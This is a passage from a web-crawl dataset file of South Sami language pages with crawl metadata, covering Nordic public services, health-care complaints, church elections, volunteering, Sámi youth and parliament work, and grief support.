gïeline mah maehtieh buerie årrodh dutnjan gie aadtjen Sveerjese båateme.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.kungsbacka.se\/Andra-sprak\/Sydsamiska\/","date":"2021-07-30T18:03:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153971.20\/warc\/CC-MAIN-20210730154005-20210730184005-00375.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":467,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n1998\nISBN\n50087383\nFormaate\nCD\nReaktah\nGaajhkh reaktah leah doelehtovveme\nDataspïele noerhte-, julev-, jïh åarjelsaemiengïelesne.\nDaennie spïelesne maanah lierieh bollen jïh vaarjoej bïjre, jaepieboelhki, aski, biejjiej jïh tsåahkan bïjre, alfabeeten jïh baakoej bïjre jïh dah aaj lierieh ovmessie baakoeh mah dovne gåetesne jïh skuvlesne gååvnesieh. Daennie spïelesne edtjh jokngh tjöönghkedh, jis reaktoe darjoeh dellie akte jokngem åadtjoeh. Spïele gïeleööhpehtimmese maanagïertesne jïh smaaveskuvlesne sjeahta.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_sapmi","date":"2021-07-26T13:34:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046152129.33\/warc\/CC-MAIN-20210726120442-20210726150442-00711.warc.gz","language":"sma","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000087022781372}","num_words":62,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.226,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne maahtah klååkedh jis datne ih dov reaktah åadtjoeh\nDatne maahtah klååkedh jis vienhth datne ih dejtie healsoedïenesjidie åadtjoeh mejtie edtjh utnedh, jallh dastegh ih leah sïemes guktie healsoedïenesje dov båehtjierdimmiedaerpiesvoetem vuarjesje. Ihke dïhte guhte nænnoestimmiem dorjeme, man bïjre datne ih leah siemes, edtja nuepiem åadtjodh sov vuajnoem jarkelidh, edtjh klååkemem dohkoe seedtedh. Dastegh ij dov klååkemem jååhkesjh, dle dïhte vijriesåbpoe seedtesåvva Fylhkenålmese akten minngemosth nænnoestæmman. Fylhkenålman nænnoestimmie lea dïhte minngemosth, jïh dïhte sjyöhtehke healsoedïenesje tjuara nænnoestimmiem jeakadidh.\nDatne maahtah birredh Fylhkenålmam vuarjasjidh mejtie healsoedïenesje sov dïedth tjïrrehtamme\nFylhkenålma maahta aaj sjæjsjalidh mejtie barkijh healsoe- jïh hoksedïenesjisnie sijjen dïedth meadteme, guktie nåake sjïdteme dutnjien. Maahta dej jeanatjommesi dïedti bïjre årrodh, gaskem jeatjah jis faageles tjïrkesvoete fååtese jïh sjeavohtsvoetedïedtese meadteme. Datne dan bïjre birrh aktene prievesne Fylhkenålmese. Jis gaajh vesties meadtoeh dle Fylhkenålma sæjhta aamhtesem vijriesåbpoe seedtedh Staaten healsoevaaksjoemasse (Statens helsetilsyn), mij gaskem jeatjah maahta vaatnoem vedtedh healsoebarkijidie, jallh nænnoestimmien darjodh autorisasjovneteehpemen bïjre.\nVihkeles tjïertestidh Fylhkenålman vuarjasjimmie daejnie aamhtesinie ij ryöktesth ulmiem åadtjoeh klååkijen reaktide. Jalhts datne nåake båehtjierdimmiem åådtjeme, dle ij leah dov naan jïjtsistie reakta maaksoem jallh orre båehtjierdimmiem åadtjodh.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.statsforvalteren.no\/sma\/oslo-og-viken\/healsoe-jih-hokse\/healsoedienesjh\/","date":"2021-09-16T11:52:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780053493.41\/warc\/CC-MAIN-20210916094919-20210916124919-00236.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":44,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":181,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïhkesadtjh jih lïhkemes almetjh, anhöriga och närstående\nTjïelte \"galka dåerjegem faaledh ihke aelhkebe almetjidie daajhtodh, mah aktem lïhkemes almetjem håksa mij guhkies skïemtjes lea jallh voeres jallh aktem lïhkemes almetjem dåvta mij ov-verviem åtna\" Sosialedïenesjelaake Kap 5 § 10.\nDïhte lea naemhtie ahte datne goh lïhkesadtje, voelpe, kraanna jih jienebe jih naakenh öörhtje biejjide viehkede( mij skïemtjes, voeres jallh ov-vervine) reaktah åtnah viehkiem jih dåarjegem åadtjodh seamma jis jijnjes jallh vaenieh viehkedh jih håksah. Ahte almetjh dåarjodh mah jïjtje veeljeme dej lïhkemes almetjidie hoksedh lea vihkeles ihke dejtie gelkieh beelledh.\nSïjhth datne jïenebh daajhtodh?\nGaskesadth tjïelten lïhkesadtjhkonsulente. Datne maahtah aaj daase tjaangedh: Nationellt Kompetenscentrum Anhöriga. Desnie daaletje dotkijh gååvnese jih gielteges håalojh lihkesadtjhrijhkebiejjeste – anhörigriksdagen.\nUppdaterad:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.berg.se\/48\/kommun-och-politik\/samiskt-forvaltningsomrade\/sidor-pa-samiska\/hokse-viehkie-jih-sajhtoe-omsorg-hjalp-och-vard\/lihkesadtjh-jih-lihkemes-almetjh-anhoriga-och-narstaende","date":"2021-09-20T03:07:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056974.30\/warc\/CC-MAIN-20210920010331-20210920040331-00172.warc.gz","language":"sma","language_score":0.9999808073,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999808073043823}","num_words":112,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guessiedarjome aavoem aarkebeajjan vadta\nGuessiedarjome mubpiem almetjem viehkehte, dåårje jïh aavode. Dah volontærh gïeh meatan guessiedarjoemisnie oktegims almetjem ovmessie aalterisnie gåetesne, skïemtjegåetesne jallh faangkegåetesne gaavnedieh. Maehtede aaj telefonine soptsestalledh.\nBïeljelh åålmegem jïh gihtjh mah laavenjassh daelie gååvnesieh jallh raeresth jïjtje maam sïjhth darjodh guktie dov guejmiealmetjidie aavoedidh jïh viehkiehtidh. Guessiedarjome aavoem vadta dïsse gie viehkiem dååste jïh dïsse gie viehkiem vadta!\nÅålmegh aaj volontæride ööhpehtieh dåarjoealmetjh sjïdtedh gïeh geerve aehpesne jieliedisnie, sijsjuhtjiji integrasjovnesne, jallh jeatjah laavenjasside mah sjïere maahtoem krievieh.\nÅejvie jallah viehkiehtæjja gærhkosne?\nMij lea dov faamoe jallh dov sjïere maahtoeh? Sïjhth draamadåehkiem, musihkedåehkieh noeride jallh soptsestallemedåehkiem juhtiehtidh? Maahtah gaskeviermiekursem båeries almetjidie jallh giesiejerkiem maanide juhtiehtidh? Maahtah åålmegen bievnijem viehkiehtidh barkojne saemiengïelesne jallh maahtah diakovnem viehkiehtidh guessiedarjomem iktedidh?\nGellie nuepieh gååvnesieh. Jienebh gïeh dej maahtojste juekieh dellie buerebe mijjen aarkebeajjan sjædta.\nBïeljelh dov åålmegem jïh soptsesth maam maahtah jïh maam sïjhth darjodh volontærine. Dov viehkie vihkeles!\nSïjhth datne meatan årrodh gyrhkesjimmietjïertesne?\nFïerhte gyrhkesjimmie lea heevehtimmie jïh bööremes heevehtimmiem ektesne sjugnedibie. Gellie åålmegisnie aarkebiejjie-iehkeden tjåanghkenieh jïh båetije aejlegen gyrhkesjimmiem soejkesjidh. Vihkeles aamhtesem jïh tekstide ektesne digkiedidh, saalmide jïh musihkem veeljedh jïh ussjedidh guktie gyrhkesjimmien dïjrem buektiehtidh. Dåehkien lïhtsegh åadtjoeh aaj bïeljelidh gyrhkesjimmien laavenjasside mejtie sijhtieh darjodh: spealadidh, laavlodh, tekstide lohkedh, aejlies maalestahkem vedtedh, almetjidie buarastehtedh gosse dah gærhkose båetieh, gærhkoetjïehtjelem rïesedh, gærhkoeprïhtjegem voessjedh j.n.v. Bïeljelh dov åålmegen gyrhkesjimmietjïertese datne aaj. Jis ij dagkeres tjïerte gååvnesh dellie datne maahtah dejnie aelkedh!","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.svenskakyrkan.se\/volontrebarkoe","date":"2021-09-26T19:57:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057913.34\/warc\/CC-MAIN-20210926175051-20210926205051-00012.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":230,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjïelth leah voestessuerkie dejtie jeanatjommes dåarjoeöörnegidie. Tjïelth utnijidie bievnieh, ohtsemh gïetedieh jïh gïehtjedimmieh darjoeh gaertieninie.\nFylhkenålma lea iktedæjja jïh raeriestæjja tjïeltide.\nFylhkenålma tjïeltide bïhkede dåarjoeöörnegi bïjre, jïh lea klååkemesuerkie tjïelten nænnoestimmide . Fylhkenålma maahta dispensasjovnh vedtedh, jïh dellie Staaten laanteburriereereme lea klååkemesuerkie. Fylhkenålma edtja baaltelen reeremegïehtjedimmieh tjïrrehtidh tjïeltine jïh sïeltegïehtjedimmieh gaertienie. Akte soejkesje dorjesåvva daejtie gïehtjedimmide fïerhten jaepien.\nFylhkenålma dåarjoem reerie jielemeevtiedæmman laanteburriesuerkien sisnjelen, voeneevtiedimmievierhtieh (BU-vierhtieh) salkehtæmman jïh sjïehteladtemasse.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.statsforvalteren.no\/sma\/Oslo-jih-Akershusen\/Laanteburrie-jih-beapmoe\/Daarjoe-jaartaburrien-jih-skaajjeburrien-sisnjeli\/","date":"2021-09-24T05:16:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057504.60\/warc\/CC-MAIN-20210924050055-20210924080055-00150.warc.gz","language":"sma","language_score":0.9999716282,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999716281890869}","num_words":68,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.112,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie lea reessehtæjja gaskenasjonaale orgaanine juktie åålmegerïekteles konvensjovnh, bæjhkoehtimmieh jïh jeatjah dïrregh evtiedidh jïh fulkesidh mah veartenen aalkoeåålmegi reaktah nænnoestieh. Goh aalkoeåålmegh aktene veartenen ræjhkoesommes laantijste mijjen akte ektie åeliedimmie viehkiehtidh guktie mubpiej aalkoeåålmegi tsiehkie buerebe sjædta. Seamma tïjjen gaskenasjonaale reakta mieriedimmes juktie mijjen reaktah jïh ïedtjh eevtjedh jïh gorredidh mijjen hïejmesijjesne.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/sametinget.no\/gaskenasjonaale-barkoe\/","date":"2021-09-18T13:19:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056476.66\/warc\/CC-MAIN-20210918123546-20210918153546-00678.warc.gz","language":"sma","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000070333480835}","num_words":52,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.113,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjen lihtsegh aaj dah mah mijjem stuvrieh: destie båata Sáminuorra dorje dam maam lihtsegh sijhtieh. Gaajhkh saemien noerh 6-30 jaepiej gaskem åadtjoeh gïelem vedtedh siebrietjåanghkosne mij fïerhtene jaepien. Dah lihtsegh dovne dan ståvroem jïh åvtehkem veeljieh jïh mejgujmie Sáminuorra edtja barkedh. Hävvi ij daarpesjh ståvrosne tjahkasjidh juktie meatan årrodh Sáminuorram tsevtsedh, gaajhki åssjalommh leah vihkeles.\nSáminuorran ståvrosne 16 ståvroe-lihtsegh jïh akte åvtehke. Ståvroe dïhte mij Sáminuorran darjomigujmie barkeminie jaepien doekoe jïh vååksje lihtsegi vuemsieh jaksebe. Ståvroen jïjnjem åtna mejgujmie barkeminie v.t.g båetije biejjide soejkesjidh, prosjektide stuvredh, jeatjah organisasjovnigujmie laavenjostedh jïh Sáminuorran åvtebielie årrodh ovmessie tsiehkine. Sáminuorran siebrieåvtehke dïhte gie siebrien uvte tjåådtje.\nSáminuorran kanslije Johkemehkesne. Desnie prosjekte-ektiebarkije barkeminie mij siebrien darjomem gïetede. Kanslije mij mesnie barka praktiske aatigujmie, gyhtjelassigujmie mah lïhtsegidie dijpieh jïh ekonomijine.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.saminuorra.org\/gieh-leah-saminuorra\/","date":"2021-09-26T06:39:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057830.70\/warc\/CC-MAIN-20210926053229-20210926083229-00216.warc.gz","language":"sma","language_score":0.9998322129,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9998322129249573}","num_words":122,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne maahtah gïelem vedtedh skïereden 6:n biejjeste, veeljemebeajjan skïereden 19. Biejjesne. Gosse gïelem vadta datne tsavtsa mejnie gærhkoe edtja byjreskisnie, regionaalesne jïh nasjonellesne barkedh. Mejnie datne tuhtjh gærhkoe edtja barkedh? Dov gïele vihkeles!\nSvïenske gærhkoe lea Sveerjen stööremes jaahkoesiebriedahke, gusnie 5,8 millijovnh lïhtsegh. Kristeles maadtoe lea ïedtjem gaajhkh almetji vyörtegs jïh vyörtegsvoetide, eadtjalgehteme byjrese jïh klijmabarkoe. Goh lïhtsege datne vadtah ektievoete, aavoe, goerehtimmie jïh gaskesem dutnjien jïh jeatjah almetjigujmie, vuesiehtimmien gaavhtan laavkomisnie, provresehïejesne, jeatjah gyrhkesjimmesne, gaahpode aarhskuvlesne, maana- jïh noeredarjoemisnie,laavloemisnie jïh konsertisnie.\nDatne aaj meatan ihke vaarjelidh mijjen ektievoeten kultuvreaerpie, goh ståapoeh jïh vuekieh, jïh aaj dåarjoeh gærhkoen sosiaale barkoeh, almetjidie ålkolen, mah oktegh jïh sårkosne.\nNaemhtie maahtah gïelem vedtedh\nGïelem veeljeme biejjesne vedtedh, skïereden 19 biejjien dov veeljemegåetesne\nDov veeljemegåetie jïh gaahpoebaelieh veeljemekåarhtesne tjåådtje. GÏEHTJH! Datne maahtah ajve veeljemegåetesne veeljemebiejjesne gïelem vedtedh. Vaeltieh meatan legitimasjovne jïh aaj veeljemekåarhtem.\nÅvtelbodti tjaatsestidh\nDatne maahtah åvtelbodti tjaatsestidh skïereden 6.n biejjeste gosk veeljemebeajjan skïereden 19.n beajjan. Gaajhkide gïelide mah åvtebodti-tjaatsestimmiegåetine laehpien, gåhtjoen åvtebodti-gïelh, læjhkan gosse tjaatsestimmiem sjædta veeljemebiejjesne. Datne gaajhkh sijjieh jïh gaahpoebaelieh daesnie gaavnh: svenska kyrkan.se\/kyrkoval. Datne daarpesjh veeljemekåarhte jïh legitimasjovne meatan vaeltedh.\nPrievine tjaatsestidh\nIhke prievien tjïrrh tjaatsestidh datne daarpesjh akte prievieveeljemepaagke. Paagkem maahtah gærhkoeåålmege- jallh hearraekspedisjovneste veedtjedh. Desnie gååvnese bïevnesh guktie edtjh darjodh ihke prievien tjïrrh gïelem vedtedh. Prievietjaatsestimmiem daarpesjh seedtedh gosk stiftese båata minngemes skïereden 17.n biejjien (skïereden 15.n biejjien jis ålkoelaanteste gïelem vadtah).\nDïjreguedtiejinie tjaatsestidh\nIhke dïjreguedtiejinie tjaatsestidh datne akte prievieveeljemepaagkem daarpesjh. Paagkem maahtah gærhkoeåålmege- jallh hearraekspedisjovneste veedtjedh. Paagkesne bïevnesh gååvnese guktie datne edtjh darjodh ihke dïjreguedtiejinie tjaatsestidh. Dïjreguedtije dov gïelem laahpa akten veeljemegåetesne jallh åvtebodti-tjaatsestimmiegåetesne mij gællesje dov gærhkoeåålmegisnie jallh pastoratesne gusnie datne meatan.\nJis datne ålkoelaantesne veeljemebiejjesne\nDatne mij gærhkoetjaalasovveme Sveerjesne mohte leah ålkoelaantesne veeljemebiejjesne maahtah prievine tjaatsestidh. Ihke prievien tjïrrh tjaatsestidh datne daarpesjh akte prievieveeljemepaagke. Paagkem maahtah veedtjedh jallh dongkedh dov hearra- jallh gærhkoeåålmege-ekspedisjovneste, jallh akten ålkoelaanten gærhkoeåålmegisnie. Jis ih datne veeljemekåarhtem meatan åtnah maahtah orre dongkedh. Dam seedtien ålkoelaantegærhkoeåålmegasse mij dov lïhkes. Dov prievietjaatsestimmie tjuara gærhkoeståvrosne årrodh minngemes skïereden 15.n biejjien.\nGihtjh viehkien mietie jis daerpies\nHijven daejredh juktie gaajhkide mah veeljemegåetie jïh åvtebodti-veeljemegåetide barkeminie, tjeakoesdïedtem utnieh.\nGosse tjaatsesth dle tsavtsah guktie Svïenske gærhkoem stuvredh\nGærhkoeveeljemisnie maahtah golme veeljeminie tjaatsestidh\nVeeljeme gærhkoefaamehkasse – byjreske\nGærhkoefaamohke mieriej bïjre nænnoste dan darjomen gaavhtan mij dov lïhke, dov gærhkoeåålmegisnie jïh dov pastoraatesne. Maahta nænnoestimmien bïjre årrodh, juktie akte vielie diakovne edtja barkoem åadtjodh ihke voeres- jïh skïemtjealmetjigujmie barkedh, gaahpode aarhskuvlem gærhkoeåålmegisnie aelkedh, gïeleprïhtjhgåetiem öörnedh jïh mentovrebarkoen bïjre baataræjjide.\nVeelkes veeljemesïetelh.\nVeeljeme stiftefaamohkasse -regionaale\nSvïenske gærhkoen leah 13 stifth. Stiftefaamohkasse lea stiften mieriedimmie orgaane. Regionaale stifte daltesisnie nænnoestimmiem vaeltien dåarjegi bïjre juktie dåvvome gærhkojste, ovmessie dåarjegh vuesiehtimmien gaavhtan gåetieluhpieh daelvege, dåarjegh funksjovneunniedimmide, viehkiem baataræjjide jïh integrasjovnese, klijmabarkose jïh dle vijriebasse.\nJovjerööpses veeljemesïetelh.\nVeeljeme gærhkoetjåanghkose - nasjonelle\nGærhkoetjåanghkoe lea Svïenske gærhkoen jollemes nænnoestimmie orgaane 251 lïhtsegigujmie. Nasjonelle daltesisnie mierede nænnoestimmieh mah abpe gærhkoem tsevtsieh. Akte vuesiehtimmie lea magkerh salmh edtjieh salmegærjesne meatan årrodh.\nViskes veeljemesïetelh\nNomineringedåehkieh jïh kandidaath\nDah dåehkieh mah meatan gærhkoeveeljemisnie gåhtjoen nomineringedåehkieh. Dah leah goh krirrieh sïejhme veeljemisnie.\nDatne maahtah golme kandidaatide tjaatsestimmiem vedtedh juktie kroessem dej sijjide bïejh veeljemesïetelisnie. Dah kroessh kandidaatide stuerebe nuepiem vedtieh veeljemisnie sjïdtedh jïh dov uvte barkedh. Jis ih naan kroessh bïejh lea nomineringedåehkie mij dov gïelem åådtje.\nMedtie 5 millijovnh tjaatsestimmiereaktoe utnieh\nGærhkoeveeljemisnie 2021 medtie 5 millijovnh lïhtsegh tjaatsestimmiereaktoe utnieh. Tjaatsestimmiereaktoe dïhte åtna mij unnemes 16 jaepien båeries minngemes veeljemebiejjesne jïh lïhtsege Svïenske gærhkosne. Datne daarpesjh aaj Sveerjesne tjaalasovvemisnie årrodh.\nVeeljemekåarhte\nVeeljemekåarhte lea vierhtiepaehpere. Desnie bïevnesh dov veeljemegåetien bïjre jïh gusnie datne maahtah åvtelbodti tjaatsestidh. Datne daarpesjh veeljemekåarhtem meatan vaeltedh jis datne åvtelbodti tjaatsesth. Datne aaj daarpesjh legitimasjovnem vuesiehtidh. Jis datne dov veeljemegåetesne tjaatsesth datne ajve daarpesjh legitimasjovnem meatan vaeltedh.\nVeeljeme kåarhte dov tjaalesæjjan seedtien jïh edtja dutnjan båetedh minngemes skïereden 1.s biejjien.\nOrre veeljemekåarhte dongkedh\nJis datne veeljemekåarhtem dasseme, maahtah orre åadtjodh(gohtjesåvva jieniedehtemeveeljemekåarhte). Ihke orre veeljemekåarhtem dongkedh, bïeljelh dov gærhkoeåålmege. Datne maahtah aaj daesnie dongkedh: svenskakyrkan.se\/kyrkoval. Orre veeljemekåarhtem dov tjaalesæjjan seedtien.\nVeeljemeilleldihkie\nGosse veeljemegåetieh jïh åvtelbodti tjaatsestimmiem steegkien, skïereden 19.n biejjien aelkieh gïelide ryöknedh. Gïelide digitaalesne registreeren jïh ryöknemem gåarede gaskeviermesne dåeriedidh: svenskakyrkan.se\/kyrkoval.\nCoronavihties gærhkoeveeljeme\nSvïenske gærhkoe tjabreminie juktie gaajhkide mah sijhtieh tjaatsestidh edtjieh buektiehtidh gïelem coronavihties vedtedh. Ikteraerie Almetjehealsoebyjjesfaamojne lea veeljemeorganisasjovnem dan gaavhtan ussjedamme, juktie coronapandemije maahta seammalaakan veeljemisnie årrodh, skïereden 19.n biejjien goh gïjrege 2021. Naemhtie juktie gåetieh gusnie veeljeme, edtjieh ryöjredidh gosk gååvnese plexiklaash, gïetesprïjhth jïh bïevnesh almetjidie mah edtjieh tjaatsestidh.\nIhke gervedh suetiem heesedh jïh traagkanimmie:\n- Åvtelbodti tjaatsesth badth. Åvtelbodti-tjaatsestimmiegåetieh rïhpestieh skïerede 6.n biejjien jïh gaahpode gosk 19.n beajjan.\n- Tjaatsesth prievien tjirrh. Datne maahtah joe gïelem vedtedh gosse veeljemekåarhtem åådtjeme. Mujhtieh prievietjaatsestimmie tjuara jaksedh minngemes skïerede 17.n biejjien. Prievieveeljemepaagke gååvnese gærhkoeåålmege- jïh hearraekspedisjovnesne.\n- Jis datne dåeriesmoerh åtnah veeljemegåatan jallh åvtelbodti tjaatsestimmiegåatan båetedh, datne maahtah dïjreguedtiejinie tjaatsestidh. Dellie akte prievieveeljemepaagkem daarpesjh. Prievieveeljemepaagkem gååvnese gærhkoeåålmege- jïh hearraekspedisjovnesne.\n- Veeljeme jïh åvtebodti-tjaatsestimmiegåetine bïevnesh vedtien guktie datne edtjh traagkanimmeste geehtedh. Dåeredh bïevnesidie jïh mojhteleslaakan årroeh.\nJienebh tjaatsestimmien bïjre prievien tjirrh jïh dïjreguedtijen tjïrrh\nDïhte mij sæjhta, maahta prievien tjirrh jïh dïjreguedtiejinie gïelem vedtedh. Ihke dam darjodh datne daarpesjh akte prievieveeljemepaagke. Datne maahtah, jallh akte jeatjah maahta paagkem veedtjedh gærhkoeåålmege- jallh hearraekspedisjovnesne. Datne maahtah aaj paagkem dongkedh veeljemeservisesne: 010-18 19 400, mïetsken 30.n biejjeste. Dan åvtelen datne maahtah Svïenske gærhkoen viksele ringkedh: 018-169500.\nPrievieveeljemepaagkesne gååvnese veeljemesïetelh jïh kuverth fïerhtene veeljemasse, akte kuverth preavan jïh dïjretjaatsestæmman jïh akte ålkoekuverte dejtie mah sijhtieh prievien tjirrh gïelem vedtedh. Paagkesne aaj bïevnesh gååvnese guktie darjodh gosse prievien tjirrh tjaatsestidh jïh dïjretjaatsestimmien bïjre.\nNaemhtie darjoeh gosse prievien tjirrh tjaatsestidh jïh dïjreguedtiejinie.\n- Jis ih nomineringedåehkien veeljemesïetele utnieh, datne maahtah nomineringedåehkien nomme skuallah veeljemesïetelisnie tjaeledh.\n- Datne akte veeljemesïetele bïejh fïerhtene veeljemasse (veelkes veeljemesïetele gærhkoefaamohkasse, jovjerööpses veeljemesïetele stiftefaamohkasse, viskes veeljemesïetele gærhkoetjåanghkose) akten veeljemekuvertese jïh njimkehth.\n- Göökte væhnajgujmie datne bïejh veeljemekuvertem mij joe njimkehtamme, kuvertese prievie- jïh dïjretjaatsestæmman (K4) mij gååvnese prievieveeljemepaagkesne. Njimkehth jïh steegkh kuvertem.\n- Kuvertesne prievie- jïh dïjretjaatsestæmman (K4) datne dov almetjenummere jïh dov nommen tjaalah goh tjirkeme juktie datne veeljemem eensilaakan dorjeme\n- Seamma kuvertesne prievie- jïh dïjretjaatsestæmman (K4) dejtie göökte væhnide nommide tjaelieh ihke tjirkemem vedtieh juktie datnem vuajneme kuvertesne tjaaleme. Væhnide tjuerieh 18 jaepien båeries årrodh jallh båeriesåbpoe.\nJis datne edtjh dïjreguedtiejinie tjaatsestidh edtjh naemhtie darjodh:\n- Dïjreguedtije meatan kuvertem (K4) vaalta. Veeljemekåarhte tjuara meatan vaeltedh jis tjaatsestimmie akte åvtebodti-tjaatsestimmiegåatan laehpien, mohte hijven aaj meatan vaeltedh jis dov veeljemegåatesne laehpien.\n- Dïjreguedtije dov prievietjaatsestimmiem laahpa jïh altese nommem tjaala, almetjenummere jïh tjaalesijjie jïh minngemes altese nommine tjaala juktie datne tjirkemem tjaaleme kuvertesne. Dïjreguedtije edtja legitimasjovnem vuesiehtidh jïh unnemes 18 jaepien båeries illeme.\nEdtjh datne prievien tjirrh gïelem vedtedh edtjh datne daejtie sïllide dåeriedidh dan mænngan datne kuvertesne tjaaleme prievie- jïh dïjretjaatsestæmman, væhnide lïhke orreme jïh dejtie nommide tjaaleme:\n- Bïejh kuverte (K4) akte kuvertese prievietjaatsestæmman jïh veeljemekåarhte (K5) dov tjaatsestimmiekåarhtine.\n- Gïehtjh! Bïejh veeljemekåarhte juktie tjaalesijjie don stifteståvrose vuesehten åelkies klaasesne kuvertesne. Bïevnesh veeljememoenehtsen bïjre, veeljemedajve jïh dov nummere, tjaatsestimmielæstosne vååjnoen gårroehklaasesne kuvertesne.\n- Seedth prieviem. Porto ij leah daerpies.\nGIEHTJH! Seedth prieviem gosk jaksa minngemes skïereden 17.n biejjien\nJienebh bïevnesh\nVeeljemeservise rïhpeste mïetsken 30.n biejjien jïh jaksen telefovnesne: 010-1819400. Dan åvtelen datne maahtah Svïenske gærhkoen viksele jaksedh telefovnesne: 018-169500. Datne maahtah aaj e-påastem seedtedh: email@example.com","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.svenskakyrkan.se\/kyrkoval\/grhkoeveeljemen-bijre","date":"2021-09-19T03:26:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056656.6\/warc\/CC-MAIN-20210919005057-20210919035057-00397.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":1135,"character_repetition_ratio":0.091,"word_repetition_ratio":0.005,"special_characters_ratio":0.138,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij Voestes viehkie sårkosne?\nLyövlehke oktegh årrodh sårkosne. Dan åvteste gærhkoe åssjaldahkh jïh tjïelke raerieh tjöönghkeme mah maehtieh mijjem viehkiehtidh stïeresne årrodh mubpiealmetjidie sårkosne. Sårkoe baektjede, seamma tïjjen maahta sårkoem vielie gaarsjelidh gosse åådtje dam juekedh. Gærhkoen lea guhkies dååjrehtimmie sorkijh dåastoehtidh jïh dåarjoehtidh. Daah raerieh earnadieh viehkine årrodh don voestes baelien gosse naakenh leah aktem dasseme maam gaarhta.\nGaajhkh sårkoeh leah sjïere. Ij naan bïhkedassh gååvnesh mah iktesth leah reaktoe, ij leah naan vihties saetniesvoeth. Dagke daate aaj akte dejstie fåantojste man åvteste dan jeenjesh jueriedisnie sjidtieh gosse edtjieh mubpieh gaavnedidh sårkosne. Daej raeriejgujmie Nöörjen gærhkoe gegkeste viehkine årrodh guktie jienebh ånnetji jearsoesåbpoe jïh buerebe ryöjredamme domtoeh, olles naakene mijjen bïjre tjoerh oktegh årrodh sov sårkosne.\nGaskesadth\nIbie tjoerh dïedtem biejedh sorkijasse gaskesadtedh. Aellieh jiehtieh \"ringkh munnjien jis mij akt, manne daesnie dov gaavhtan\". Dellie stoerre hille sorkije ij åajsoeh gaskesadtedh. Jiehtieh buerebh \"manne dutnjien ringkem dæjstan, vaeltieh tellefovnem jis sïjhth.\" Jis sorkije ij vaestedh, maahtah ikth vielie ringkedh. Jïh vihth ringkedh, gellien aejkien.\nVaeltieh skraejriem\nGihtjh mejtie edtjede aktem eevre biejjieladtje darjomesem darjodh. Maahtah bööredidh båetedh prïhtjegem jovkedh, filmem vuartasjidh, jallh dåeriedidh ånnetji ålkone 